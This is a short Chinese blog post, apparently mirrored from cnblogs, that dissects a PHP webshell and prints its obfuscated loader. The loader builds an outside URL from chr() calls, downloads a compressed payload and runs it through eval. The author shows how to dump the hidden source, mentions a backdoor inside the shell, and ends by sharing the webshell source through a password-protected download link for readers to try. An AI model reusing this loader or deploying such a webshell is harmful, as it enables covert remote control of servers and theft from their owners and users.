zoukankan      html  css  js  c++  java
  • 分析 PHP大马-php_mof SHELL

    Part 1 前言

      https://www.phpinfo.cc/?post=30,这个马子,看上去满不错,我想要源码。

    <?php
    $password = 'phpinfo';//登录密码
    //----------功能程序------------------//
    $c = "chr";
    session_start();
    if (empty($_SESSION['PhpCode'])) {
        $url = $c(104).$c(116).$c(116).$c(112).$c(58);
        $url .= $c(47).$c(47).$c(119).$c(119).$c(119);
        $url .= $c(46).$c(112).$c(104).$c(112).$c(115);
        $url .= $c(101).$c(99).$c(46).$c(99).$c(99);
        $url .= $c(47).$c(72).$c(97).$c(99).$c(107);
        $url .= $c(47).$c(52).$c(48).$c(52).$c(46).$c(103).$c(105).$c(102);
        $get = $c(102) . $c(105) . $c(108) . $c(101) . $c(95);
        $get .= $c(103) . $c(101) . $c(116) . $c(95) . $c(99);
        $get .= $c(111) . $c(110) . $c(116) . $c(101) . $c(110);
        $get .= $c(116) . $c(115);
        $_SESSION['PhpCode'] = $get($url);
    }
    $unzip = $c(103) . $c(122) . $c(105) . $c(110);
    $unzip .= $c(102) . $c(108) . $c(97) . $c(116) . $c(101);
    
    @eval($unzip($_SESSION['PhpCode']));
    ?>

    Part 2 分析

    第22行这里eval修改成exit,修改后,运行代码。

    @exit($unzip($_SESSION['PhpCode']));

    复制代码。

    修改代码,如图.

    运行代码,右键查看源代码,代码出来了。

    Part 3 后门

      常在河边走,那有不湿鞋。

    小插曲

    Part 4 后记

      分享,大马源码,喜欢的自己玩玩。

    链接:https://pan.baidu.com/s/1lqbglb1onPFiwRVbPQRNAw 密码:q2yy

  • 相关阅读:
    LinkedList的使用方法
    规范HTML页面
    HTML总结(一)
    HTML标签学习总结
    java---线程池的使用
    java对excel表格的操作
    java对cookie及Session的操作
    硬盘分区工具gparted使用
    镜像, 转置, 锐化, 灰度,旋转
    ffmpeg解码
  • 原文地址:https://www.cnblogs.com/s0mf/p/9216947.html
Copyright © 2011-2022 走看看